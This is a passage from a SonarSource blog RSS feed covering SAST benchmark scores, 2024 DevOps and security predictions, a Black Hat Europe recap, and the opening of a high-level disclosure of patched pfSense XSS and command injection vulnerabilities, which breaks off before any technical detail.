bypass.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;LibreNMS&lt;/strong&gt; is a fully featured, open-source monitoring solution. During our audit of the application, we identified a second-order XSS vulnerability, which attackers could combine with a Blade template injection to &lt;a href=&quot;https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms/&quot;&gt;gain remote code execution&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;What’s next?&lt;/h2&gt;&lt;p&gt;Looking back at this exciting year 2023, we are even more thrilled to look forward to the next year. We already have awesome vulnerability findings in our pipeline that we will publish once patches are available. You can follow our research team on &lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;X&lt;/a&gt; or &lt;a href=&quot;https://infosec.exchange/@SonarResearch&quot;&gt;infosec.exchange&lt;/a&gt; if you want to stay up-to-date. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On behalf of SonarSource, we wish you a happy new year and a safe start to 2024!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar's Scoring on the Top 3 Python SAST Benchmarks]]></title><description><![CDATA[We're excited to share not only how Sonar performs on Python benchmarks but also the ground truth corresponding to the list of expected and not-so-expected issues.
]]></description><link>https://www.sonarsource.com/blog/sonar-scoring-on-the-top-3-python-sast-benchmarks</link><guid isPermaLink="false">af7b3478-206a-58fc-b0ff-f95283ed9777</guid><dc:creator><![CDATA[Alexandre Gigleux]]></dc:creator><pubDate>Thu, 28 Dec 2023 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In our series on SAST benchmarks, we explored the &lt;a href=&quot;https://www.sonarsource.com/blog/enhancing-sast-detection-leveraging-benchmarks-for-measuring-progress/&quot;&gt;significance of benchmarks in tracking the evolution of our SAST capabilities&lt;/a&gt;. If you&amp;#x27;ve been following along, you&amp;#x27;ve observed our commitment to transparency, as we unveiled Sonar&amp;#x27;s scores on the &lt;a href=&quot;https://www.sonarsource.com/blog/sonar-s-scoring-on-the-top-3-java-sast-benchmarks/&quot;&gt;Top 3 Java&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/blog/sonar-s-scoring-on-the-top-3-c-sast-benchmarks/&quot;&gt;C# SAST benchmarks&lt;/a&gt; –sharing the ground truth and shedding light on expected and unexpected issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But here&amp;#x27;s the drumroll moment - today marks the grand finale with Python, the last language on our 2023 checklist! Just as we&amp;#x27;ve done for Java and C#, we&amp;#x27;re excited to share not only how Sonar performs on these Python benchmarks but also the ground truth corresponding to the list of expected and not-so-expected issues.&lt;/p&gt;&lt;h3&gt;Our approach&lt;/h3&gt;&lt;p&gt;We&amp;#x27;ve approached the selection of Python SAST benchmarks with the same meticulous method. We looked at 109 projects available on GitHub related to SAST benchmarks. Out of these, we selected these 3 Python projects:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/SonarSource/Damn-Vulnerable-GraphQL-Application&quot;&gt;DVGA&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/SonarSource/DSVW&quot;&gt;DSVW&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/SonarSource/skf-labs/tree/master/python&quot;&gt;skf-labs-python&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Our findings&lt;/h3&gt;&lt;p&gt;At Sonar, we consider that a good SAST solution should have a True Positive Rate of 90% and a False Discovery Rate lower than 10%.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s now proceed to share the scores of Sonar against these benchmarks:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c1efbb83-8e3d-4679-9811-ce1e2d6b6e9d/dvga.webp&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/310a9164-baf3-47a6-9860-89908192334b/dsvw.webp&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8ca83b51-1d93-4efb-ac13-53bcfb3ca19b/skf_labs_python.webp&quot; /&gt;&lt;p&gt;You&amp;#x27;ll notice that the outcomes are quite promising and generally align closely with our 90% True Positive Rate (TPR) target. Our commitment remains steadfast, and we&amp;#x27;re dedicated to continually enhancing our SAST engine. The goal is to consistently deliver results that are both precise and actionable.&lt;/p&gt;&lt;h3&gt;Our computation&lt;/h3&gt;&lt;p&gt;We said it in part one of this blog series: SAST vendors make plenty of claims but rarely provide anything to reproduce or substantiate their results. At Sonar, we want to change that. To replicate these results, you can access the ground truth provided in the &lt;a href=&quot;https://github.com/SonarSource/sonar-benchmarks-scores&quot;&gt;sonar-benchmarks-scores&lt;/a&gt; repository. If you try to replicate it, we recommend utilizing the most recent version of the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube Developer Edition&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Final word&lt;/h3&gt;&lt;p&gt;Through revealing the ground truths and illustrating Sonar&amp;#x27;s performance on these SAST benchmarks, our aim is to foster transparency and empower companies to make informed decisions regarding their SAST solutions. We firmly believe that by openly sharing metrics such as True Positive Rate (TPR), False Discovery Rate (FDR), and the ground truths, users will develop a clearer comprehension of the efficacy and precision of Sonar&amp;#x27;s security analyzers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Wrapping up this blog series, here&amp;#x27;s a brief overview of Sonar&amp;#x27;s average for the three programming languages we covered in 2023:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Java: 93% TPR (on average)&lt;/li&gt;&lt;li&gt;C#: 90% TPR (on average)&lt;/li&gt;&lt;li&gt;Python: 92% TPR (on average)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s been an exciting journey, and we were thrilled to share these results with you. Stay tuned as we evaluate new detection capabilities in the world of JavaScript and TypeScript in 2024!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alex&lt;/p&gt;</content:encoded></item><item><title><![CDATA[2024 DevOps Predictions from the Sonar Developer Advocate Team]]></title><description><![CDATA[The Developer Advocate team shares their predictions on what they foresee for DevOps trends and hot topics in 2024.]]></description><link>https://www.sonarsource.com/blog/2024-devops-predictions-from-the-sonar-developer-advocate-team</link><guid isPermaLink="false">3672023d-a7dc-5209-9325-eb899daf989e</guid><dc:creator><![CDATA[Peter McKee]]></dc:creator><pubDate>Thu, 21 Dec 2023 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The past year brought a lot of changes to DevOps, most significantly the explosion of Generative AI and its integration into the role of the developer. For example, by June 2023, a &lt;a href=&quot;https://github.blog/2023-06-13-survey-reveals-ais-impact-on-the-developer-experience/&quot;&gt;GitHub survey&lt;/a&gt; found that 92% of US-based developers were already using AI coding tools both in and outside of work. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;AI wasn&amp;#x27;t the only booming buzz in the DevOps space this year though. We also saw continued evolution around the cloud, focusing on migrating and re-architecting workloads as well as increased attention paid to low-code and no-code ways of programming. So, the question is, what can we expect in the new year? What will 2024 bring? The Developer Advocate team and I put our heads together and came up with a few predictions on what we think will come next year:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Peter McKee, Head of Developer Relations &amp;amp; Community&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;AI to Transform the Future of Coding:&lt;/strong&gt; AI will continue to deliver great value in addressing developer burnout, but it won’t ever be able to offload developers’ thinking and the human touch. However, I do think that even a few months from now we’ll see an entirely new set of GPTs — never mind what a few years from now will look like. I don’t believe technologists or developers will go away, but the nature by which they do their work every day will certainly change. The way developers use AI will be as simple and commonplace as Google searching for something as a shortcut. While there’s much to be explored about the usage of AI, we must still consider the human element at the forefront to check AI’s drawbacks. There is transformative potential for software development, but we can’t let it run without any checks — especially when digital businesses today are dependent on the software that underpins it.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Phil Nash, Developer Advocate &lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Overconfidence in Generative AI Code will Lead to Generated AI Vulnerabilities:&lt;/strong&gt; As more and more developers will use generative AI to successfully help build their products, 2024 will see the first big software vulnerabilities attributed to AI generated code. The success of using AI tools to build software will lead to overconfidence in the results and ultimately a breach that will be blamed on the AI itself. This will lead to a redoubling across the industry of previous development practices to ensure that all code, written by both developers and AI, is analyzed, tested, and compliant with quality and security standards.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;We&amp;#x27;ll Write Less JavaScript: &lt;/strong&gt;While web applications will continue to push the boundaries with JavaScript frameworks, websites that don&amp;#x27;t need the same level of interaction will be able to reduce their JavaScript and still build great experiences. In 2024, a combination of a number of new browser APIs will mean developers can achieve many of the effects that currently need a lot of JavaScript with mostly HTML and CSS. Scroll-driven animations, Dialogs and Popovers, View Transitions, CSS masonry layout, and parent selectors are just a number of the newer HTML and CSS features that will contribute to this reduction in JavaScript.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ben Dechrai, Developer Advocate&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Post-Quantum Cryptography&lt;/strong&gt;: Quantum computing will continue to evolve, and with it the threat to encryption. Not all encryption algorithms are considered to be quantum-safe, and cloud providers like Cloudflare are already upgrading their systems to implement post-quantum cryptography to data-in-transit. I believe that 2024 will see this extend to providers looking at data-at-rest, such as document storage, health systems, and more, to mitigate future attacks against data encrypted in the present. For example, data encrypted today will probably be decryptable by quantum computing in 15 years, so we need to address that sooner, to keep our data safe way into the future.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Simplified Service Configuration&lt;/strong&gt;: We’re already seeing no-code and low-code being used to configure some areas of the hosted services we use, and this will increase. An Identity as a Service provider recently deprecated some of its full-code extensibility capabilities, requiring customers to use the newer low-code and no-code replacement. I believe we’ll also see a growth in intercommunication between services that will allow companies to define their infrastructure more wholistically through these simplified interfaces. While this might be through strategic partnerships at first, we might see a consensus towards a standardized configuration language that allows services to be almost plug-and-play in platform orchestration tools.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Jonathan Vila, Developer Advocate&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Low Code - No Code Growth&lt;/strong&gt;: Next year we’ll experience a growth on low code - no code platforms that can create applications or services without the need for programming skills. This can allow for creating a bond between teams that know what the business needs by removing the translation and misunderstanding when sending those requirements to the development teams.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Java is Not Going to Die (Again)&lt;/strong&gt;: It’s always been the rumor or joke that Java is dead in favor of other technologies, but I foresee that in one more year, this is going to be proven wrong. With the evolution of AOT compilation technologies more oriented to Cloud Native environments (Quarkus, Micronaut, Helidon, Spring native), and the new features of Java 21 helping the concurrency to be easier and more performant, as well as new features to come in order to improve the cold warm up with project Leyden, Java will be more alive than ever. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Whether we see these predictions actually come to fruition or not, it’ll be interesting to see how different trends play out over the next year. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[2024 Security Predictions from the Sonar Research Team]]></title><description><![CDATA[Reflecting on changes in the industry over the past year, as well as the research we’ve published, the Sonar Vulnerability Research team came together and compiled our thoughts on what we foresee for cybersecurity in 2024.]]></description><link>https://www.sonarsource.com/blog/2024-security-predictions-from-the-sonar-research-team</link><guid isPermaLink="false">b9c00213-a14b-5b7c-9fab-a01d9e770614</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Thu, 14 Dec 2023 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As technology evolves and new innovations come to market, so too do threat actors find new ways to compromise software and exploit vulnerabilities. That’s why, in tangent with adopting and learning new tools and methods, we must stay stringent in security efforts. With the increasing adoption of AI, for example, it can be expected that organizations will need to reconsider their security measures. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Reflecting on changes in the industry over the past year, as well as the research we’ve published, the Sonar Vulnerability Research team came together and compiled our thoughts on what we foresee for cybersecurity in 2024. Here are a few predictions from our team:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Supply-Chain Attacks on Code: &lt;/strong&gt;A growing list of supply-chain attacks makes them a hot topic for development organizations today. There’s an underlying design issue exploited by these attacks and it is that all modern software is built on top of other third-party software components, often without clear visibility on the code quality of all the downloaded packages. A single code vulnerability introduced by a library can be used for large-scale attacks against multiple softwares using this library. Because the main code of popular open source software becomes well-reviewed and tested, attackers will focus more on finding previously unknown code vulnerabilities hidden in widely used but lesser-known open source libraries. It’s a very effective and subtle attack vector to compromise many organizations at once. In tandem with the risk and threats, the importance of a &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;deeper code analysis&lt;/a&gt; will grow that also covers the code of libraries.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Regulatory Changes to Make Security Best Practices the Norm: &lt;/strong&gt;Security has always been seen as a cost center — and hence, optional. As new regulations and compliance requirements are introduced, e.g. the new SEC rule forcing public companies to disclose material cybersecurity incidents within four days, it is forced to become the norm. This has a profound impact on how companies implement their security, internalizing and shifting left as much as possible. This shift favors proven and cost-effective practices, leaving most of the AI-powered security hype behind us.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Increase of (Detected) in-the-Wild Exploitation Campaigns: &lt;/strong&gt;As we keep on getting better at detecting and analyzing in-the-wild exploitation campaigns of both known (N-days) and previously unknown (0-days) vulnerabilities, we&amp;#x27;ll notice an upward trend of these. It doesn&amp;#x27;t mean that threat actors are more active — only that we are finally catching up.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;AI-Assisted Attacks to Become More Sophisticated and Automated: &lt;/strong&gt;IT security attacks leveraging AI are expected to become more sophisticated and automated. Hackers will likely use AI to analyze vast amounts of data and launch targeted attacks. AI-driven phishing attackers capable of generating highly convincing and personalized messages, which trick users into revealing sensitive information, may increase. Furthermore, AI-powered malware could adapt and evolve in real time, making it more challenging for traditional antimalware detection systems to keep up. &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Dangers of AI-generated code:&lt;/strong&gt; We will see an even bigger increase in the use of AI to generate source code, which results in improved productivity and faster development cycles. However, this reliance on AI-generated code can be very deceptive. AI models are only as good as the data on which they are trained. This means that this code can contain bugs and security issues, just as human-written code. In 2024, we will likely see the first examples of security issues introduced by AI-generated code.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Only time will tell in terms of what will happen in 2024, but to ensure you stay ahead of attackers and potential threats, remember to remain proactive in your cybersecurity efforts. Also, make sure to subscribe to our blog to keep up to date on the research that our team publishes on the real-world vulnerabilities we find in open source projects. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar @ Black Hat Europe!]]></title><description><![CDATA[Last week, several SonarSourcers traveled to London to attend our third Black Hat event of the year. Here's what happened!]]></description><link>https://www.sonarsource.com/blog/sonar-black-hat-europe</link><guid isPermaLink="false">090ab4a7-ee92-532f-a081-9b0859d7ba6a</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Wed, 13 Dec 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last week, four SonarSourcers traveled to London to attend our third Black Hat event of the year. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Black Hat Europe was an excellent opportunity to share our Clean Code vision and its benefits for software security, a sentiment shared by most attendees who came to our booth. This reinforces our trust in the Clean Code approach and that it&amp;#x27;s not just a best practice—it&amp;#x27;s the foundation of secure software development.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Generative AI was also understandably on everyone&amp;#x27;s lips. They are indubitably great tools for developers&amp;#x27; velocity; yet, as for human-created code, it does not come with any guarantee. This code also needs to be analyzed and reviewed, which is not a trivial task for humans as the volume of AI-generated code keeps on growing. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7ebd6a44-8773-461a-a7b4-90709bd82294/1.png&quot; /&gt;&lt;p&gt;And because it came as a surprise for many people at our booth, we&amp;#x27;ll also repeat it in this blog post: you can get all these benefits for free!&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, our code editor companion for Eclipse, VS Code, Visual Studio, and the majority of the JetBrains suite, can be installed directly from the respective marketplaces. You don&amp;#x27;t need to be a SonarQube or SonarCloud user to have it!&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, our best-in-class and on-premise Clean Code solution, has a free Community Edition;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, our Clean-Code-as-a-Service technology, is free for publicly accessible projects, i.e. open-source.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Proactive Application Security: It&amp;#x27;s All About Clean Code!&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/eddf82a5-c8a9-4dff-9725-f2ba2219de47/2.png&quot; /&gt;&lt;p&gt;Our very own Andrew Osborne and Thomas Chauchefoin also gave a 20-minute presentation on the benefits of the Clean Code approach for proactive security. It may seem a bit adventurous to present this at a security-only event such as Black Hat—and that&amp;#x27;s the point! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First, we had to develop why we think quality and security are indissociable. Without most Clean Code attributes, the software will lack essential properties that make it &lt;em&gt;Secure&lt;/em&gt;. For instance, if code is neither consistent nor intentional, it will be much harder for other developers to dive into the code base and be confident in their changes. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But most of the time, vulnerabilities are unplanned emergencies: they need to be mitigated fast, and these changes should not break the affected component! Unclear and &amp;quot;spaghetti&amp;quot; code will make this task much more difficult. We also re-assessed that even apparently harmless quality defects can break the software&amp;#x27;s security properties, so addressing them will help build a good security posture.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/11a75df9-7983-4a10-9f48-70bd7db6b659/Screenshot%202023-12-14%20at%2017.19.44.png&quot; /&gt;&lt;p&gt;Over the years, we&amp;#x27;ve also seen an increasing interest in Shift Left practices from many security companies, but we feel like something is missing. Security tools should not be shifted as-is to developers, as they often poorly integrate with their development workflow and introduce non-negligible friction: too much switching from the code editor, many false positives, the wrong level of education, etc.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In 2023, an obvious answer to this problem would be to rely on off-the-shelf LLMs already integrated into code editors, such as GitHub Copilot,  to detect unclean code. As Thomas developed in the presentation, we believe there&amp;#x27;s still considerable value in more &amp;quot;conventional&amp;quot; SAST techniques. First, he shared the details of CVE-2021-29447 (&lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-xxe-security-vulnerability/&quot;&gt;WordPress 5.7 XXE Vulnerability&lt;/a&gt;), a good example that security is sometimes a matter of niche knowledge that&amp;#x27;s outside the training dataset of these models. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then, he got into the specifics of a critical vulnerability discovered by the Sonar R&amp;amp;D team in the NETGEAR RAX30 router (&lt;a href=&quot;https://www.sonarsource.com/blog/patches-collisions-and-root-shells-a-pwn2own-adventure/&quot;&gt;Patches, Collisions, and Root Shells: A Pwn2Own Adventure&lt;/a&gt;), caused by the use of an unsafe C function family. Here, it&amp;#x27;s again trivial to detect, and its exploitation doesn&amp;#x27;t only require &amp;quot;intelligence&amp;quot; but also more human traits like creativity and curiosity.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thanks to tools catching such issues early in development, security teams can spend less time checking and focusing on security design. There will always be security issues in code, and that&amp;#x27;s fine, but security teams can help reduce their exploitability with environmental changes that can sometimes eradicate entire bug classes. They can also help craft more precise SAST tooling based on domain-specific knowledge and previous findings from internal and external audits.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And… that&amp;#x27;s a wrap for this year! Our SonarSourcers traveled the world and delivered more than 100 presentations in 2023 alone, and we are looking forward to 2024 to show you always more security research and insights on Clean Code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/blackhat-2023-overview/&quot;&gt;BlackHat 2023: Hackers, Casinos, and an Exciting Announcement&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/hexacon2023-highlights/&quot;&gt;Highlights from Hexacon 2023&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[pfSense Security: Sensing Code Vulnerabilities with SonarCloud]]></title><description><![CDATA[Our Clean Code solution SonarCloud discovered multiple vulnerabilities leading to remote code execution on pfSense CE 2.7.0. Let's see how SonarCloud found them and how it can keep your code clean.]]></description><link>https://www.sonarsource.com/blog/pfsense-vulnerabilities-sonarcloud</link><guid isPermaLink="false">e637fc1a-e3bd-50aa-a322-2769dcf606b3</guid><dc:creator><![CDATA[Oskar Zeino-Mahmalat]]></dc:creator><pubDate>Mon, 11 Dec 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;pfSense is a popular open-source firewall solution by Netgate. It is sold as pfSense Plus installed on ready-made firewall appliances to protect and manage office networks and also distributed for free as the pfSense Community Edition (CE). The &lt;a href=&quot;https://www.reddit.com/r/PFSENSE/&quot;&gt;r/PFSENSE&lt;/a&gt; subreddit has a large community with over 100 thousand members, lending credibility to &lt;a href=&quot;https://www.pfsense.org/&quot;&gt;pfSense&amp;#x27;s tagline&lt;/a&gt; &amp;quot;world&amp;#x27;s most trusted open source network security solution&amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As part of our ongoing commitment to open-source security and to enhance our Clean Code technology, we routinely perform scans on open-source projects using SonarCloud and assess the results. Importantly, anyone can do this for free! &lt;a href=&quot;https://sonarcloud.io&quot;&gt;SonarCloud&lt;/a&gt; is available at no cost for open-source projects, regardless of their language or size.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During these scans, SonarCloud discovered two Cross-Site Scripting (XSS) vulnerabilities and a Command Injection vulnerability in pfSense CE. In combination, these security vulnerabilities allowed an attacker to execute arbitrary commands on a pfSense appliance. Security inside a local network is often more lax as network administrators trust their firewalls to protect them from remote attacks. Potential attackers could have used the discovered vulnerabilities to spy on traffic or attack services inside the local network.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we will cover two of the three security vulnerabilities in detail. We show how SonarCloud found these vulnerabilities using &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-taint-analysis/&quot;&gt;taint analysis&lt;/a&gt;, how they could have been exploited, and what the patch from Netgate looks like.&lt;/p&gt;&lt;h2&gt;pfSense Vulnerabilities Impact&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;pfSense CE 2.7.0 and below, pfSense Plus 23.05.1 and below &lt;/strong&gt;are vulnerable to &lt;strong&gt;two &lt;a href=&quot;https://rules.sonarsource.com/php/type/Vulnerability/RSPEC-5131/&quot;&gt;XSS&lt;/a&gt;&lt;/strong&gt; vulnerabilities and &lt;strong&gt;a &lt;a href=&quot;https://rules.sonarsource.com/php/type/Vulnerability/RSPEC-2076/&quot;&gt;Command Injection&lt;/a&gt;&lt;/strong&gt; vulnerability (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-42325&quot;&gt;CVE-2023-42325&lt;/a&gt;, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-42327&quot;&gt;CVE-2023-42327&lt;/a&gt;, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-42326&quot;&gt;CVE-2023-42326&lt;/a&gt;). The security vulnerabilities are fixed in pfSense CE 2.7.1 and pfSense Plus 23.09. Attackers can combine the vulnerabilities to &lt;strong&gt;execute arbitrary code&lt;/strong&gt; on the pfSense appliance remotely. An attacker can trick an authenticated pfSense user into clicking on a maliciously crafted link containing an XSS payload that exploits the command injection vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The victim user needs to be an admin user or at least have access to specific subsections of the pfSense WebGui. pfSense admins can check the user manager for non-admin users with these permissions:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Reflected XSS (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-42325&quot;&gt;CVE-2023-42325&lt;/a&gt;):&lt;ul&gt;&lt;li&gt;WebCfg - Status: System Logs: Firewall (Dynamic View)&lt;/li&gt;&lt;li&gt;WebCfg - Status: Logs: Settings&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Reflected XSS (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-42327&quot;&gt;CVE-2023-42327&lt;/a&gt;):&lt;ul&gt;&lt;li&gt;WebCfg - AJAX: Get Service Providers&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Command injection (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-42326&quot;&gt;CVE-2023-42326&lt;/a&gt;):&lt;ul&gt;&lt;li&gt;WebCfg - Interfaces: GIF: Edit&lt;/li&gt;&lt;li&gt;WebCfg - Interfaces: GRE: Edit&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/w0WIqSlUlNY&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;pfSense Security Vulnerabilities Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we first give a quick refresher on taint analysis, the technology that SonarCloud used to discover all three vulnerabilities. Then we explain the details and the taint flow for two of the three vulnerabilities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Reflected XSS (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-42325&quot;&gt;CVE-2023-42325&lt;/a&gt;): An unencoded filter string is reflected into a script tag.&lt;/li&gt;&lt;li&gt;Command Injection (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-42326&quot;&gt;CVE-2023-42326&lt;/a&gt;): Unescaped user input is used inside a management shell command.&lt;/li&gt;&lt;li&gt;The second Reflected XSS vulnerability (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-42327&quot;&gt;CVE-2023-42327&lt;/a&gt;) is similar to the first one, so we won&amp;#x27;t cover it in this post.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Taint analysis&lt;/h3&gt;&lt;p&gt;SonarCloud found the vulnerability using taint analysis. This type of static analysis tracks data flow from user-controllable data sources to dangerous sinks.&lt;/p&gt;&lt;p&gt;In the case of PHP, the sources include all data from a web request like URL parameters, the request body, cookies, and other headers. The taint flow from these sources is tracked through variables in the code, across several files. If the user-controllable data is validated, properly sanitized, or encoded during the flow, the flow is no longer tracked to ensure fewer false positive findings. Dangerous sinks include functions that invoke system commands, the reflection of data into the HTML page returned by the server, or other sensitive functions.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4e3fb1ea-1942-4ee8-bc85-257db6467bb2/Taint%20analysis.png&quot; /&gt;&lt;p&gt;If SonarCloud finds a taint flow from source to sink, an issue is raised. The SonarCloud UI displays the discovered taint so that developers 